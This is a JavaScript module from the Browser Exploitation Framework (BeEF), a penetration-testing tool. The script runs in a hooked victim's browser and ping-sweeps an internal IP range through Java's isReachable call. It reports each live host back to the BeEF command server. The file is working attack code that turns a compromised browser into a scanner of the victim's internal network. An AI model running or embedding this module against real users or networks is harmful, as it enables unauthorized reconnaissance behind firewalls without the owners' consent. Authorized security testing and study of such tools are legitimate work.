Path: blob/master/modules/network/ping_sweep_ff/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//567beef.execute(function() {89var ips = new Array();10var ipRange = "<%= @ipRange %>";11var timeout = "<%= @timeout %>";12var delay = parseInt(timeout) + parseInt("<%= @delay %>");13var verbose=false; /* enable for debug */1415// ipRange will be in the form of 192.168.0.1-192.168.0.254: the fourth octet will be iterated.16// Note: if ipRange is just an IP address like 192.168.0.1, the ips array will contain only one element: ipBounds[0]17// (only C class IPs are supported atm). Same code as internal_network_fingerprinting module18var ipBounds = ipRange.split('-');19var ipToTest;20if(ipBounds.length>1) {21var lowerBound = parseInt(ipBounds[0].split('.')[3]);22var upperBound = parseInt(ipBounds[1].split('.')[3]);2324for(i=lowerBound;i<=upperBound;i++){25ipToTest = ipBounds[0].split('.')[0]+"."+ipBounds[0].split('.')[1]+"."+ipBounds[0].split('.')[2]+"."+i26ips.push(ipToTest);27}28} else {29ipToTest = ipBounds[0]30ips.push(ipToTest);31}3233if(ips.length==1) verbose=true;343536function do_scan(host, timeout) {37var status=false;38var ping="";3940try {41status = java.net.InetAddress.getByName(host).isReachable(timeout);42} catch(e) { /*handle exception...? */ }4344if (status) {45ping = host + " is alive!";46} else if(verbose) {47ping = host + " is not alive";48}49return ping;50}515253// call do_scan for each ip54// use of setInterval trick to avoid slow script warnings55var i=0;56if(ips.length>1) {57var int_id = setInterval( function() {58var host = do_scan(ips[i++],timeout);59if(host!="") beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host, beef.are.status_success());60if(i==ips.length) { clearInterval(int_id); beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host=Ping sweep finished'); }61}, delay);62} else {63var host = do_scan(ips[i],timeout);64beef.net.send('<%= @command_url %>', <%= @command_id %>, 'host='+host);65}6667});68697071